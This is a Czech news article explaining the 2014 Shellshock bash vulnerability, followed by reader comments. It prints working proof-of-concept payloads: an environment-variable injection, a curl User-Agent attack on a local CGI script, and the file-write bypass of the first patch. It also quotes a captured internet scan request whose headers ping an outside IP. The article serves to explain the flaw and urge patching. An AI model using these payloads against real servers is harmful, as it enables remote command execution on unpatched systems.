Hlavní navigace

Díra v bashi, které si 20 let nikdo nevšiml

Ondřej Caletka 26. 9. 2014

Ve středu odpoledne byla zveřejněna zpráva o kritické zranitelnosti nejpoužívanějšího linuxového shellu bash. A stejně jako nedávný Heartbleed je i tato chyba vzdáleně zneužitelná. Pojďme se podívat, jak může být chyba, označovaná jako Shellshock, v praxi zneužita a proč je potřeba aktualizovat bash podruhé.

Funkce, o které jsme nevěděli

Stejně jako v případě nedávného heartbleedu, jde o chybu ve funkci, kterou bash obsahuje velmi dlouho (přinejmenším od verze 1.14.0 z roku 1994; starší verze již nejsou na FTP), přestože o ní málokdo věděl. Konkrétně jde o možnost exportovat funkci tak, aby byla dostupná v podprocesu. Zadáte-li:

$ mojefunkce() {
>        echo "Ahoj světe"
> }
$ export -f mojefunkce 

bude vaše funkce exportována do podprocesů, takže spustíte-li následně podproces, například příkazem bash, bude funkce dostupná:

$ bash
$ mojefunkce
Ahoj světe
$ exit 

Není k dispozici mnoho kanálů, kterými by mohl shell tuto uživatelskou funkci předat, proto k předání používá proměnnou prostředí. Konkrétně volání export -f mojefunkce vytvoří v dětských procesech novou proměnnou prostředí shodného názvu, obsahující dvě kulaté závorky následované definicí funkce. Můžeme si to zkusit nasimulovat ručně:

$ druhafunkce="() { echo \"Ahoj druhý světe\"; }" bash
$ druhafunkce
Ahoj druhý světe
$ exit 

Bash při svém spuštění projde všechny proměnné prostředí a najde-li nějakou, jejíž obsah začíná dvěma kulatými závorkami, vyhodnotí její obsah, čímž je funkce nadefinovaná i v novém shellu.

Anketa

Jaký shell nejčastěji používáte?

Eval is evil

Tím se dostáváme k tradiční poučce, která se objevuje v každé příručce programování každého jazyka, který obsahuje funkci eval. To je funkce, která umožňuje vyhodnotit své argumenty, jako by to byly příkazy. Tím se stává velmi nebezpečnou, zvláště pak, je-li jako její argument použit nedostatečně ošetřený vstup od uživatele. Ukažme si to na jednoduchém příkladu s hypotetickou funkcí, která spočítá uživatelem dodaný matematický výraz:

$ vyraz="1+1"
$ eval 'echo $(( '$vyraz' ))'
2
$ vyraz="1+1 )) ; echo HACKED ;#"
$ eval 'echo $(( '$vyraz' ))'
2
HACKED 

Zranitelnost bashe používá zcela totožný mechanizmus. Během načítání proměnných prostředí se při načítání funkce nezastaví na konci definice, ale vyhodnocuje dále:

$ tretifunkce="() { :; }; echo HACKED" bash
HACKED
$ exit 

Máme-li tedy možnost ovládat proměnné prostředí, můžeme donutit bash spustit libovolný příkaz. Zranitelnost dostala označení CVE-2014–6271.

Útok první: CGI

Common Gateway Interface je historický standard, který poprvé změnil web ze statického obsahu na dynamický. Webový server s patřičným nastavením při požadavku na CGI skript takový skript spustí, informace o spojení spolu s klientskými hlavičkami nastaví jako proměnné prostředí, data od klienta pošle na standardní vstup CGI skriptu a očekává, že skript na standardní výstup vytiskne obsah, který má být poslán klientovi. Pojďme si zkusit napsat a spustit jednoduchý CGI skript, který vypíše IP adresu klienta:

$ mkdir cgi-bin
$ cat > cgi-bin/ip.sh <<EOF
> #!/bin/bash
>
> echo -e "Content-type: text/plain\r\n\r"
> echo -e "\${REMOTE_ADDR}"
> EOF
$ chmod +x cgi-bin/ip.sh
$ python3 -m http.server --cgi 8080 

Nyní můžeme z jiného okna vyzkoušet správnou funkci příkazem curl. A budeme-li chtít zneužít uvedenou zranitelnost, stačí jen trochu upravit třeba název prohlížeče:

$ curl localhost:8080/cgi-bin/ip.sh
127.0.0.1
$ curl localhost:8080/cgi-bin/ip.sh -A '() { :; }; echo HACKED >>/tmp/hack'
127.0.0.1
$ cat /tmp/hack
HACKED 

V ohrožení jsou i PHP, Perl a další webové aplikace

Naprostá většina webových aplikací bash takto přímo nepoužívá, to ale neznamená, že nemohou být zranitelné. Stačí aby aplikace třeba v PHP v některém místě volala popen() nebo system() pro spuštění externích příkazů. Pokud se totiž aplikace nepostará o vyčištění prostředí, může škodlivá proměnná průchod PHP v klidu přečkat a zaútočit až v okamžiku, kdy kód v PHP zavolá (prostřednictvím bashe) externí příkaz. Týká se to ale naštěstí jen případů, kdy je webová aplikace propojena s web serverem prostřednictvím CGI, což se (mimo jiné z výkonnostních důvodů) příliš často nepoužívá.

Útok druhý: obcházení SSH omezení

Druhý snadno realizovaný útok se může týkat všech služeb, které k přístupu používaji SSH s omezením přístupu (příkladem budiž třeba Git repozitář). Takové služby obvykle vnutí uživateli (volbou ForceCommand v OpenSSH) spuštění kontrolního skriptu, který zkontroluje obsah proměnné SSH_ORIGINAL_COMMAND a uzná-li oprávněnost uživatelského požadavku, akci provede. Je-li tento kontrolní skript v bashi, je zneužití přímočaré, stačí jako příkaz použít výše uvedenou magickou sekvenci. Riziko se týká především „podomácku“ vyráběných kontrolních skriptů, nástroje jako Gitosis nebo Gitolite bash nejspíše nepoužívají.

Útok třetí: DHCP server s volbou navíc

Tento scénář je obzvláště pikantní: Přijdete do restaurace, připojíte svůj notebook k místní WiFi a… váš počítač je hacknut, a to dokonce s root oprávněním. Stačí k tomu DHCP server, který pošle speciálně upravenou konfigurační volbu. Bývá zvykem, že DHCP klient pro vlastní nastavení volá shell skripty a předává jim přijaté volby právě prostřednictvím prostředí. Pokud je jako shell použit zranitelný bash, útoku nic nebrání.

Krok stranou: Na neinteraktivní skripty se bash nehodí

Společným bodem popsaných scénářů vzdálené zranitelnosti je, že se týká neinteraktivních skriptů. Pro ty je použítí bashe často suboptimálním řešením, neboť bash obsahuje poměrně komplexní podporu interaktivní práce (například doplňování pomocí tabulátoru), které jsou pro neinteraktivní skripty zbytečné a jen zdržují načítání skriptu.

Proto také již před lety vznikl v Debianu odlehčený shell dash, který je uživatelsky nepřívětivý, ale za to mnohem menší a rychlejší. Podporuje standard POSIX, ne však již rozšíření, která jsou specifická pro bash. Skripty obsahující bashismy proto musí být upraveny. Zcela nezávisle na této konkrétní zranitelnosti však lze pro vývoj nových shell skriptů použití takovýchto odlehčených shellů jen doporučit.

Skenování internetu již probíhá

Netrvalo dlouho a po internetu se rozběhly první skeny snažící se odhalit tuto zranitelnost. Jeden takový zaznamenal i honeypot v síti CESNET:

GET / HTTP/1.0
Accept: */*
Cookie: () { :; }; ping -c 17 209.126.230.74
Host: () { :; }; ping -c 23 209.126.230.74
Referer: () { :; }; ping -c 11 209.126.230.74
User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html) 

Zajímavý je způsob „volání domů“ příkazem ping. Na odkazované adrese jsou pak k dispozici výsledky, podle kterých je zranitelných víc než tři tisíce serverů a to i přesto, že test probíhal na kořenovou URL a bez uvedení správné hlavičky Host:. Dá se tedy očekávat, že skutečný počet zranitelných serverů bude mnohem vyšší.

Záplata až na druhý pokus

Současně se zveřejněním zranitelnosti byly k dispozici opravené verze bashe přinejmenším pro Debian Wheezy a RHEL. Tavis Ormandy ovšem na Twitteru poukázal na to, že první záplata neřešila problém zcela, stále bylo možné vložením nekompletní definice funkce zapsat libovolný obsah do libovolného souboru:

$ ctvrtafunkce='() { (a)=>\' bash -c '/tmp/hack echo HACKED'
bash: ctvrtafunkce: řádek 1: chyba syntaxe poblíž neočekávaného tokenu „=“
bash: ctvrtafunkce: řádek 1: `'
bash: chyba při importu definice „ctvrtafunkce“
$ cat /tmp/hack
HACKED 

Tato zranitelnost dostala označení CVE-2014–7169 a její opravy jsou distribuovány od čtvrtečního odpoledne. Pokud jste tedy aktualizovali dříve, nezbývá než proces opakovat.

Budou se podobné incidenty opakovat?

Podle toho, že se ani na první pokus nepodařilo bezpečně odstranit zranitelnost, je možné usuzovat, že zdrojový kód bash možná není v úplně nejlepší kondici. Vlna zájmu, kterou nedávno odhalená zranitelnost přitáhla, spolu s obrovským množstvím vzdáleně zneužitelných serverů, s jejichž kompromitací se nepochybně brzy začne, jistě způsobí, že parsovací funkce bashe budou dále podrobně zkoumány. Můžeme jen doufat, že případné další problémy budou při svém objevení náhlášeny namísto zneužití.

Je však třeba si uvědomit, že kromě možných zranitelností shellu jako takového je řádově vyšší obecný problém zranitelnosti nejrůznějších shellových skriptů. Není totiž vůbec jednoduché napsat složitější skript, který se bezpečně popere s libovolným vstupem, včetně vstupních dat obsahujících mezery, zpětná lomítka, dolary a uvozovky. Z toho důvodu se obecně doporučuje složitější problémy řešit raději v pokročilejších skriptovacích jazycích, jako jsou Python nebo Perl.

Další informace

Našli jste v článku chybu?

26. 9. 2014 9:12

To není pravda. My jsme o tom psali už ve středu odpoledne: Chyba v bashi umožňuje vzdálené spuštění kódu.

Tedy o 24 hodin dříve než Technet a Živě.

Podle mě je nejlepší napsat základní informace hned a potom pracovat na podrobném článku. Ony ty informace taky přichází postupně, objevují se další komentáře, další objevené souvislosti a třeba ta dvojitá záplata je taky až výsledkem dalšího dne.

26. 9. 2014 1:06

Mirek (neregistrovaný)

Root opet nezklamal, stejne jako v pripade Heartbleed.
Kdyz jina media dokazi nanejvys citovat nejake odborniky, ze "situace je vazna", teprve tady se konecne doctu, o co vlastne jde :-) a to laicky srozumitelne a pritom dostatecne obsahle -- skvele. Diky vam jsem v obraze.


DigiZone.cz: Česká televize mění schéma ČT :D

Česká televize mění schéma ČT :D

Podnikatel.cz: Přehledná titulka, průvodci, responzivita

Přehledná titulka, průvodci, responzivita

Podnikatel.cz: Prodává přes internet. Kdy platí zdravotko?

Prodává přes internet. Kdy platí zdravotko?

Lupa.cz: Google měl výpadek, nejel Gmail ani YouTube

Google měl výpadek, nejel Gmail ani YouTube

Podnikatel.cz: Vládu obejde, kvůli EET rovnou do sněmovny

Vládu obejde, kvůli EET rovnou do sněmovny

Vitalia.cz: To není kašel! Správná diagnóza zachrání život

To není kašel! Správná diagnóza zachrání život

Podnikatel.cz: 1. den EET? Problémy s pokladnami

1. den EET? Problémy s pokladnami

Vitalia.cz: Chtějí si léčit kvasinky. Lék je jen v Německu

Chtějí si léčit kvasinky. Lék je jen v Německu

Měšec.cz: Kdy vám stát dá na stěhování 50 000 Kč?

Kdy vám stát dá na stěhování 50 000 Kč?

Podnikatel.cz: EET zvládneme, budou horší zákony

EET zvládneme, budou horší zákony

Vitalia.cz: Paštiky plné masa ho zatím neuživí

Paštiky plné masa ho zatím neuživí

Lupa.cz: Není sleva jako sleva. Jak obchodům nenaletět?

Není sleva jako sleva. Jak obchodům nenaletět?

Vitalia.cz: Jsou čajové sáčky toxické?

Jsou čajové sáčky toxické?

Podnikatel.cz: Na poslední chvíli šokuje vyjímkami v EET

Na poslední chvíli šokuje vyjímkami v EET

Měšec.cz: U levneELEKTRO.cz už reklamaci nevyřídíte

U levneELEKTRO.cz už reklamaci nevyřídíte

Vitalia.cz: Baletky propagují zdravotní superpostel

Baletky propagují zdravotní superpostel

Vitalia.cz: Tesco: Chudá rodina si koupí levné polské kuře

Tesco: Chudá rodina si koupí levné polské kuře

DigiZone.cz: Sony KD-55XD8005 s Android 6.0

Sony KD-55XD8005 s Android 6.0

DigiZone.cz: Recenze Westworld: zavraždit a...

Recenze Westworld: zavraždit a...

Podnikatel.cz: EET: Totálně nezvládli metodologii projektu

EET: Totálně nezvládli metodologii projektu